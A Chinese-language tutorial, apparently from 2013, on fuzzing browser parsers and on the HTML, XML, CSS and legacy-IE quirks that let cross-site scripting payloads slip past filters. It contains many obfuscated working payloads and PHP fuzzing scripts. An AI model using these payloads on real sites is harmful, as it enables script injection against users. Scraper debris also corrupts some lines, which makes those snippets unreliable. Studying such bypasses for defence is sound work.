瞌睡龍 · 2013/06/19 18:55javascript
1 &符號不該該出如今HTML的大部分節點中。
2 尖括號<>是不該該出如今標籤內的,除非爲引號引用。
3 在text節點裏面,<左尖括號有很大的危害。
4 引號在標籤內可能有危害,具體危害取決於存在的位置,可是在text節點是沒有危害的。
複製代碼
在任何HTML文檔中,最開始的<!DOCTYPE>
用來指示瀏覽器須要解析的方式,一樣也可以使用Content-Type
頭來告訴瀏覽器。php
通常狀況下,瀏覽器中的解析器會嘗試恢復大多數類型的語法錯誤,包括開始和結束標記。css
在XML中,是很是嚴格的,全部標籤必須有對應的開始關閉,也能夠有自動關閉如<img/>也是容許的。html
在IE瀏覽器中容許在1中插入NUL字符(0x00),能夠繞過很是多的xss過濾器。html5
以下php代碼可把NUL字符插入標籤內作測試:java
2和4中的空格也能夠由tab(0x0B)與換頁鍵(0x0C),2處也能夠用/來代替。react
5中的"在IE中也可替換成`。git
IE當中還有一個特性是當遇到=後面緊跟一個引號的時候會有奇怪的解析。github
<img src=test.jpg?value=">Yes, we are still inside a tag!">
<comment><img src="<comment><img src=x onerror=alert(1)//">
複製代碼
HTML解析器在創建文檔樹的時候會針對節點內的Entity編碼解碼後傳輸。正則表達式
如下兩個表示相同:
<img src="http://www.example.com">
<img src="http://www.example.com">
複製代碼
下面兩個例子代碼不會執行,由於,編碼的是標籤自己的結構而非節點內的內容:
<img src="http://www.example.com">
<img src="http://www.example.com">
複製代碼
對一個普通的HTML進行Fuzzing測試:
<a href="http://www.google.com/">Click me</a>
複製代碼
看一下能夠Fuzzing的位置
位置 | 代碼 | 可能插入或替代的代碼 |
---|---|---|
<的右邊 | <[here]a href="... |
控制符,空白符,非打印字符 |
a標籤的後門 | <a[here]href="... |
同上 |
href屬性中間 | <a hr[here]ef="... |
同上+空字節 |
=兩邊 | <a href[here]=[here]"... |
全部字符 |
替換= | <a href[here]"... |
Union編碼符號 |
替換" | <a href=[here]…[here]> |
其餘引號 |
>以前 | <a href="…"[here]> |
任意字符 |
/以前 | <a href="…">...<[here]/a> |
空白符,控制符 |
/以後 | <a href="…">...</[here]a> |
空白符,控制符 |
>閉合以前 | <a href="…">…</a[here]> |
全部字符 |
可使用php代碼進行快速測試,例如咱們對第一個位置(<的右邊)進行Fuzzing:
<?php
for($i = 0; $i <= 255; $i++) {
$character = chr($i);
# <右邊進行測試
echo '<div><'.$character.'a href="http://www.google.com/">'.$i.'</a></div>'; }
?>
複製代碼
上面的代碼只測試了256個字符,若是想要測試Unicode的全部字符,則須要建立65536個連接。
php默認字符是ISO-8859-1做爲默認的字符編碼,而這種編碼只有256個字符,因此單純的循環65536遍是沒用的。
因此採用Entity編碼方式循環,解碼後輸出:
<?php
for($i = 0; $i <= 65535; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8')
# <右邊進行測試
echo '<div><'.$character.'a href="http://www.google.com/">'.$i.'</a></div>';
}?>
複製代碼
有一個有趣的現象是幾乎全部瀏覽器對$#33;
即!
,瀏覽器會<!
當成註釋的開始,而後自動補齊剩下的代碼,瀏覽器解析後的代碼:
<div><!--a href="http://www.google.com/"-->33</div>
複製代碼
<LԱ onclick=alert(1)>click me</LԱ>
複製代碼
上面的代碼,在Chrom、Firefox和Safari中點擊,能夠順利彈出1。
討論一下空字符的問題,IE瀏覽器會自動忽略空字符,並解析剩下的代碼,這樣會繞過不少採用正則匹配黑名單字符串的過濾器。
而且,不少函數和庫並無意識到這個問題:
<?php
echo '<im'.chr(0).'g sr'.chr(0).'c=x onerror=ale'.chr(0).'rt(1)>';
?>
複製代碼
用IE8打開上述代碼的網頁,查看源代碼只能看到"<im"後面的字符都隱藏了。
還有兩種方式能夠對標籤名Fuzzing,第一種是涉及字符集的問題,第二種是針對php中在過濾以前使用了utf8_decode()函數。
<?php
header('Content-Type: text/html;charset=Shift_JIS');
for($i = 1; $i <= 255; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
$character = utf8_decode($character);
echo $character.'123456 '.$i."<br>\r\n";
} ?>
複製代碼
代碼很簡單,設置返回響應字符集爲Shift_JIS,而後把utf-8轉換爲Shift_JIS字符集。
能夠看到在IE中129-159和224-252中,123456中的1消失了,與前面的字符合併成一個字符了。
標籤後面也可加入/符號作間隔:
<img/src=x onerror=alert(1)>
複製代碼
嘗試在標籤與/之間再插入其餘字符來測試,因爲空字符沒法直觀顯示,因此用\0來表示null,一樣主流瀏覽器均可以執行:
<img\0/src=x onerror=alert(1)>
複製代碼
再嘗試ASCII碼以外的字符,這種字符在正則表達式中\w是沒法匹配到的,主流瀏覽器均可以執行:
<img/ \/\µ src=x onerror=alert(1)//>
複製代碼
測試發現,標籤名與屬性名直接只要是以/開頭以/或"結尾,中間幾乎能夠插入任意字符。
在Fuzzing屬性方面,考慮兩方面,一個是可使用什麼分隔符,一個是屬性值能夠採用什麼編碼。
分隔符有不少種,單引號,雙引號,無任何引號,反撇號(IE中)。
<?php
for($i = 1; $i <= 255; $i++) {
$character = chr($i);
echo '<div><font size='. $character. '20'. $character. '>'.$i.' </font></div>';
} ?>
複製代碼
上面代碼能夠直觀的看出當前瀏覽器支持的分隔符有哪些字符。
上面代碼size屬性若是輸入的是字符的話,會順利執行,因此當$character中循環到數字的時候也會順利解析,但這並不是是把數字當成了分割符:
<?php
for($i = 20; $i <= 255; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '<div><img title="'.$i.'" src='.$character. 'http://www.google.com/intl/en_ALL/images/logo.gif'. $character. '></div>';
} ?>
複製代碼
以上代碼能夠看出,屬性爲字符串的時候,能夠做爲分隔符的字符。
爲了表示那些不可打印的字符,就用\x十六進制
來表示:
<img src=\x17\x17 onerror=alert(1)//>
複製代碼
以上代碼\x17即表示不可打印字符chr(23),瀏覽器提交的時候能夠輸入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。
在src中能夠正常工做的分隔字符,在處理事件的屬性裏不必定會工做,例如onerror。
可是仍然有一些字符能夠達到咱們的目的,ASCII表中的133和160已經IE中的空字符,甚至是分號。
<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
複製代碼
以上代碼urldecode以後在chrome中能夠順利執行。
下面討論多個標籤的問題,好比用戶可控的數據插入到了<input>
標籤中,同時過濾了<>
只能插入標籤內數據:
<input value="" type=image src=1 onerror=alert(1)//" type="hidden" name="foo" />
複製代碼
綠色部分是咱們插入的數據,又插入了一個type屬性,可是瀏覽器執行了alert(),瀏覽器實際上會執行第一個屬性,後面的會忽略掉。
在IE中還有一個lowsrc的屬性,跟src相似,本來是爲了方便調用一個縮略圖的,可是在IE6和IE7中,同時也支持僞協議javascript:,還有一個dynsrc屬性也相似:
<img lowsrc=1 onerror=alert(1)> // 全部IE都支持
<img lowsrc=javascript:alert(2)> //IE6和IE7支持
<img src="http://www.google.de/intl/de_de/images/logo.gif" dynsrc="javascript:alert(3)" /> // 只有IE6支持
複製代碼
sytle屬性中還能夠定義很是多的參數:
<span style="color:red" style="color:green;background:yellow"> foobar</span>
複製代碼
上面代碼能夠看到,瀏覽器顯示的字體爲紅色,背景爲黃色,除了定義顏色以外也能夠用expression()執行js,後面會討論。
還有一個屬性是專門用來在一個標籤中插入多個的:xmlns,XML的命名空間屬性,這個後面會在XML中討論。
還有一處可Fuzzing的點即爲標籤的關閉,一個有趣的現象是瀏覽器把<br/>
與</br>
,<p/>
與</p>
成徹底同樣。
<b > foobar</b style="x:expression(alert(1))"> // 不會執行alert
<b > foo</b > bar</b style="x:expression(alert(2))"> // IE執行了alert
<script src="http://0x.lv"></b> // 不會執行
複製代碼
能夠執行的代碼爲沒有開始標籤的一個閉合標籤,IE8中,sytle屬性能夠插在一個閉合標籤內,並順利執行。
可混淆的另外一個方法是:可替換爲=,下面例子在IE8中可執行:
<//style=x:expression(if(!window.x){window.x=1;alert(1);})>
<//style='x=expr\65 ssion(if(!window.x){window.x=1;alert(1);})'>
</a/style='x= \a expr\65 ss/*\*/ion(if(!window.x){window.x=1;alert(1);})'>
複製代碼
HTML代碼中執行js的各類方式,用如下方式定義的時候,VBscript和JavaScript均可以執行。
<script language=vbs>
alert+1'VBScript
alert(2)// JavaScript
</script>
複製代碼
也有利用標籤中的屬性來執行js,例如:onclick,onload,onerror等等。
在iframe標籤中,不須要src屬性就能夠順利執行onload屬性,而img標籤不能夠。
這是由於在iframe中沒有src屬性的時候,瀏覽器會自動加載about:blank頁面,即空白頁。
附件tag.php能夠方便的看到當前瀏覽器針對各標籤在不須要用戶交互的狀況下,能夠自動執行的全部屬性。
從輸出結果能夠看到body標籤支持很是多的屬性能夠在與用戶沒有交互的狀況下執行js。
例如load,error事件,全部的mouse和keyboard事件,以及在用戶離開時的blur事件,還有unload和beforeunload,以及你們不多知道的pageshow屬性。
一樣標籤中也有不多遇到的marquee標籤:
<marquee onscroll=alert(1)>
複製代碼
在Chrome中,html標籤也能夠執行很是多的屬性,,同源frameset標籤也接受focus和blur事件。
一個頗有趣的例子是,讓scroll事件能夠無交互觸發,咱們能夠引入一個錨點,例如:
<a name="bottom">
或者經過id屬性<div id="bottom">
那咱們能夠訪問http://test.com/test.html#bottom來訪問,瀏覽器自動滾到該錨點,觸發scroll屬性。
<body onscroll="alert(1)">
<div style="height:10000px">some text</div>
<a name="bottom"></a>
</body>
複製代碼
1.html爲以上代碼,訪問1.html#bottom會自動觸發onscroll事件。
IE中hr標籤中的onresize屬性,在當前窗口大小變化時,會觸發resize事件,執行alert(1)。
<hr onresize=alert(1)>
複製代碼
還有很是多的組合能夠在IE中使用,很難所有列出來,只列舉出幾個不多見的例子:
<bgsound onpropertychange=alert(1)>
<body onpropertychange=alert(2)>
<body onmove=alert(3)>
<body onfocusin=alert(4)>
<body onbeforeactivate=alert(5)>
<body onactivate=alert(6)>
<embed onmove=alert(7)>
<object onerror=alert(8)>
<style onreadystatechange=alert(9) >
<xml onreadystatechange=alert(10) >
<xml onpropertychange=alert(11) >
<table><td background=javascript:alert(12) >
複製代碼
除了以上on的各類屬性以外,src和href屬性因爲支持javascript和vbscript(只支持IE)僞協議,因此也是能夠執行javascript代碼:
<a href="javascript:alert(1)">click me</a>
<a href="vbscript:alert(2)">click me</a>
複製代碼
代碼執行時必須使用(),不可使用vbscript中的alert+2,當點擊以後,會彈出一個寫在當前頁面DOM中的數字2的警告框。
javascript:和vbscript:協議執行後的結果將會映射在DOM後面。
<a href="javascript:'\x3cimg src\x3dx onerror=alert(document.domain)>'">click me</a>
複製代碼
以上代碼在IE和Firefox中點擊click me以後可執行,而且能夠看到彈出的domain爲a標籤中所在的domain。
以上代碼須要用戶交互,下面看個不須要用戶交互的例子,使用object標籤和data:標籤:
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(2)</script > ">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg">
複製代碼
以上三個在Firefox中可執行,第二個可在Opera中執行,把各標籤中各屬性支持javascript的總結了一些:
<iframe src="javascript:alert(1)"> // 火狐,Chrome, IE8
<embed src="javascript:alert(2)"> // 火狐
<img src="javascript:alert(4)"> // IE6
<image src="javascript:alert(5)"> // IE6
<body background="javascript:alert(5)"> // IE6
<script src="javascript:alert(6)"> // IE6
<table background="javascript:alert(7)"> // IE6
<isindex type="image" src="javascript:alert(8)"> // IE6-7
複製代碼
以及applet標籤中code和archive屬性能夠用來調用jar文件,執行java代碼。
<applet code="XSS" archive="http://someserver.com/xss.jar"></applet>
複製代碼
Javascript能夠經過DOM直接獲取當前頁面中對應的id和name屬性的對象:
<html>
<body>
<div id="test"></div>
<script>alert(test)</script>
</body>
</html>
複製代碼
上面代碼能夠看出Javascript中並沒定義test變量,可是獲取到了頁面中id爲test的對象。
反過來,咱們能夠在外部直接控制Javascript變量,而且在一些瀏覽器中能夠重寫Javascript中已有的變量。
<html>
<body>
<form id="location" href="bar">
<script>alert(location.href)</script>
</body>
</html>
複製代碼
以上代碼在IE中能夠看到彈出的bar,而不是當前頁面的url,成功覆蓋了本來的變量。
還有一種利用meta標籤來執行Javascript:
<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
複製代碼
上面代碼能夠在Chrome,Opera,IE6中可執行javascript代碼,而且彈出的時meta標籤所在的域。
若是禁止了javascript:協議,也可以使用data:協議,不過可以順利執行javascript而且繼承meta標籤域的測試到的只有Opera。
<meta http-equiv="refresh" content="0; url=data:text/html,<script>alert(document.domain)</script>">
複製代碼
IE中爲了兼容各個版本,因此有一個條件註釋的語法,這個語法其餘瀏覽器並不支持,會自動當成html註釋。
<!--[if IE 8]>
<p>Welcome to Internet Explorer 8.</p>
<![endif]-->
複製代碼
如上文字只有在IE8中才會顯示,條件註釋對於開發是一件很好的事情,能夠方便的判斷瀏覽器版本獲取兼容代碼展示給用戶。
<!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]-->
<!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]-->
<!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]-->
<!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]-->
<!--[if lt Contoso 2]>
<p>Your version of the Contoso control is out of date; please update to the latest.</p>
<![endif]-->
<![if IE 8.0] >
<script > alert(1)</script > //只在IE8下執行
<![endif] >
<![if IE 8.0000000000000000]]] >
<script > alert(2)</script > // IE8一樣執行
<![endif] >
<![if IE 8.0000000000000000?] >
<script > alert(3)</script > // 全部的IE都執行
<![endif] >
複製代碼
同時IE還支持另一種方法來執行條件語句,就是經過
<comment><img src=x onerror=alert(3)><comment>
<comment onclick=alert(1)>XXX--> //Opera不執行
複製代碼
IE的JS引擎裏一樣也有條件註釋的語法:
<script> [email protected]_on!alert(1) [email protected]_on~alert(2)@*/ </script> 複製代碼
前面提到過標籤屬性中的URI能夠作entity編碼,同時,javascript:後面也能夠作url編碼,下面代碼在全部瀏覽器中均可以成功執行。
<a href="javascript:%61lert(1)">click me</a>
複製代碼
同時後面的url編碼能夠再作一次entity編碼:
<a href="javascript:%61lert(1)">click me</a>
複製代碼
因爲entity編碼容許&#以後插入任意多個0,再利用上javascript的註釋混淆後:
<a href="javascript: //%0a %61lert(1)">click me</a>
複製代碼
base標籤訂義當前頁面連接默認地址或默認目標,下面代碼在opera中可執行:
<base href="javascript:alert(1)"/>
<a href="#">click me</a>
複製代碼
javascript也能夠換行分割(在IE與chrome中可執行alert):
<a href="jav
ascript: //%0a %61lert(1)">click me</a>
複製代碼
換行字符同時也可使用entity編碼:
<a href="java
script://%0a%61lert(1)"> click me</a>
<?php
for($i = 0; $i<=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8'0);
echo '<iframe src="java'.$chr.'script:alert('.$i.')"></iframe> <br/>';
} ?>
複製代碼
上面代碼可測出當前瀏覽器中,javascript字符串插入哪些字符仍然能夠執行alert。
<a href="data:text/html;charset=utf-8;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og=="> click</a>
複製代碼
上面代碼在Firefox和Opera中能夠彈出當前域,Chrome與Safari能夠彈,可是繼承不到a標籤所在的域,彈出爲空,IE不能執行。
Firefox中data:協議默認MIME類型爲text/html,即便你定義了一個他根本不知道的類型,他也會把它看成text/html類型:
<iframe src="data:µ,<script>alert(1)</script>"> </iframe>
<iframe src="data:&#ffff;,<script>alert(2)</script>"></iframe>
複製代碼
利用以前總結的結論,最終能夠寫出下面可以讓Firefox執行的代碼:
<iframe/
\/src="data:µ,%3cscript%3ealert(document.dom%61in+[])%3c/script%3e"> </iframe>
複製代碼
而且火狐中會忽略data:協議中的全部空白字符:
<iframe src="data:., %
3
cscri pt%
3 e alert(1)
%3c /s C RIP t>">
複製代碼
最終能夠混淆成這樣:
<iframe src="data:. , % 3
c s cri 
 pt %
3 e al\u0065rt(1)
%3c /s C RI 	 P t>"
data:%,<b> < s 
 c r i p t>alert(1) < /s 
 c r i p t>
複製代碼
以前提到的標籤,在IE中data:協議都不能執行javascript,可是在style標籤裏,[email protected]:執行javascript:
<style>
@import "data:,*%7bx:expression(write(1))%7D";
</style>
<style>
@imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
<style>
<link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
複製代碼
下面討論一下事件即onload、onerror等事件以後的混淆方法:
<body onload="alert

/*�*/(document. dom\u0061in)//">
複製代碼
採用了entity編碼,最後一處是先使用javascript的unicode編碼,而後再entity編碼。
因爲是直接處理DOM的方法和對象,與直接在script標籤內處理字符串的環境仍是不一樣,可是咱們能夠加註釋或者換行符。
<body onload="alert

//
/*�*/(document. dom\u0061in)//">
複製代碼
當使用location重定向到javascript:僞協議url的時候,又能夠多作一重編碼了:
<body/:a/onload="location='javAscript:'
+([]+
'\141\l\u0065rt\r\(/**/docum%65nt.dom\x2561in)'
)">
複製代碼
事件同時又能夠直接調用其餘屬性:
<img src="x" onload="alert(1)" onerror="this.onload()">
<img/src="*/(1)"title="alert/*"onerror="eval(title+src)">
複製代碼
style屬性的混淆,一個沒有任何混淆的簡單例子:
<input type="text" value="" style=display:block;position:absolute;top:0;left:0;width:999em; height:999em onmouseover=alert(1) a="" name="foo" />
複製代碼
利用以前總結的在屬性裏的混淆方法:
<l1!/style="-:\65 \x/**/\p\r\000065 /**/ssio\n(write /**/(dom\u0061in))">
複製代碼
在expression中,咱們能夠直接訪問document中的write方法和domain屬性,這代表咱們當前位於document的DOM範圍內。
<l1!/style="-:\65 \x/**/\p\r\000065 /**/ssio\n(location='javAscript:'+([]+'document.write\r\(/**/1)'))">
複製代碼
轉到javascript的URL時,已不在document當中,訪問write方法時須要使用document.write。
看到有\xx和\xxxxxx的Unicode編碼,這些都是CSS編碼,與JavaScript編碼很是類似。
下面兩個URL中列舉了一些瀏覽器對各類奇怪的css語法支持狀況:
imfo.ru/csstest/css… centricle.com/ref/css/fil…
在IE中,css的解析很是的寬泛:
<style>
/*\*/*{x:expression(write(1))/*
</style>
<style>
_{content:"\"/*" x}
*{0:expression(write(2))
</style>
<a style=<!---/**/=expression(write(3))/*-- > X</a >
複製代碼
從IE5.5到IE8中,除了expression能夠用來執行JavaScript以外,也能夠經過HTML+TIME的形式。
這種方式惟一的缺點就是也須要一個事件來執行JavaScript,即onbegin或者onend:
1<l style="behavior:url(#default#time2)"onbegin="alert(1)">
複製代碼
還有一種方式利用set標籤:
1<set/xmlns="urn:schemas-microsoft-com:time" style="behAvior:url(#default#time2)" attributename="innerhtml" to="<img/src="x"onerror=alert(1)>">
複製代碼
測試一下style屬性中在哪些瀏覽器中,能夠插入哪些字符:
<?php
for($i = 0; $i<=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '<a style="color='.$chr.'red">'.dechex($i).'['.$chr.']</a>';
} ?>
複製代碼
從測試結果能夠得出,下面的代碼能夠在IE中執行:
<div style=xss : expression(write(1))>
複製代碼
在一些老版本的IE中,如IE6和IE7,還能夠經過背景相關屬性調用javascript的URL來執行javascript代碼:
<b style="background:url(javascript:alert('background'))">xxx</b>
<b style="background-image:url(javascript:alert('background'))"> xxx</b>
<b style="list-style:url(javascript:alert('background'))">xxx</b>
<b style="list-style-image:url(javascript:alert('background'))"> xxx</b>
複製代碼
經過link標籤(在IE6下適用,同時javascript能夠換成vbscript):
<link rel="stylesheet" href="javascript:alert(1)">
<link rel="stylesheet" href="vb	script:%61lert(document.domain)">
複製代碼
style標籤中能夠經過導入url的方式執行javascript:
<style>
@imp\o\ rt url('javascript:%61lert(2)');
</style>
複製代碼
HTML5中增長了不少標籤跟屬性,列舉一些可執行JavaScript的方法:
<form><input><output onforminput="alert(1)"> //Opera支持
複製代碼
onfocus與autofocus的配合:
<input onfocus=write(domain) autofocus>
<keygen onfocus=write(domain) autofocus>
<textarea onfocus=write(domain) autofocus>
<body onfocus=write(domain) autofocus>
<frameset onfocus=write(domain) autofocus>
<button onfocus=write(domain) autofocus>
<input autofocus onblur=write(domain)><input autofocus> //Chrome中無交互執行
<iframe/src=javascript:alert(1)>
<video/poster=javascript:alert(2)>
<button form="test" formaction="javascript:alert(3)">
複製代碼
更多的html5攻擊方式請見:html5sec.org/
XML內容比較少,就一塊兒寫到HTML裏了,XML支持Unicode,因此Unicode裏的全部字符均可以用來作標籤或者屬性,同時有可能繞過<\w+匹配:
<啊 onclick="alert(1)" xmlns="http://www.w3.org/1999/xhtml">XXX</啊>
複製代碼
XML相比HTML最嚴格的就是有了開始的標籤,必需要有結束標籤匹配,不然會報錯。
可是在大多數瀏覽器中彷佛並不會影響頁面中javascript的解析(IE中不執行):
<html xmlns="http://www.w3.org/1999/xhtml">
<script>
alert(1); // works
</script>
<p>
<script>
alert(2); // works too
</script>
</html>
複製代碼
甚至能夠經過JavaScript修改錯誤頁面的內容(在Firefox中可執行):
<html xmlns="http://www.w3.org/1999/xhtml">
<p>
<script>
setTimeout(function(){ document.activeElement.textContent='hello world' },1);
</script>
</html>
複製代碼
XML的編碼規範與HTML很是類似,能夠用entity編碼屬性值。 在XML中,咱們能夠在DOCTYPE中自定義entity,甚至經過URL引入外部文件:
<!DOCTYPE xss [<!ENTITY x "al&y;"><!ENTITY y "ert">]>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>&x;(document.domain);</script>
</html>
複製代碼
上面代碼定義了一個&y變量爲"ert",&x爲"al&y"(a與&符號編碼了一下),即alert,
<!DOCTYPE xss [<!ENTITY _k "al&__;"><!ENTITY __ "ert" > ]>
<script xmlns="http://www.w3.org/1999/xhtml">
<!-- &_k;(1)
</script>
複製代碼
在xml中,包括script標籤內的代碼瀏覽器都會entity解碼後執行,這點頗有用:
<script xmlns="http://www.w3.org/1999/xhtml">
a='',alert(1)//';
b='',alert(2)//';
c='',alert(3)//';
</script>
複製代碼
從5.5版本開始,Internet Explorer(IE)開始支持Web 行爲的概念。
這些行爲是由後綴名爲.htc的腳本文件描述的,它們定義了一套方法和屬性,幾乎能夠把這些方法和屬性應用到HTML頁面上的任何元素上去。
HTML中能夠經過加載CSS的behavior的方式調用htc文件,僅支持同域調用:
//HTML文件代碼:
<html>
<head>
<style>body { behavior: url(test.htc);}</style> </head>
<body>Hello</body>
</html>
//htc文件代碼:
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
複製代碼
一樣HTML調用XML文件執行javascript:
<html>
<body>
<xml id="xss" src="test.xml"></xml>
<label dataformatas=html datasrc=#xss datafld=payload></label> </body>
</html>
<?xml version="1.0"?>
<x>
<payload>
<![CDATA[<img src=x onerror=alert(domain)>]]> </payload>
</x>
複製代碼
dataformatas定義了獲取到的數據以什麼格式解析(HTML或text),datasrc指綁定的id,datafld指使用哪一段數據。
svg調用javascript(新版本的幾個瀏覽器支持):
<svg xmlns="http://www.w3.org/2000/svg">
<g onload="alert(1)"></g>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"></svg>
複製代碼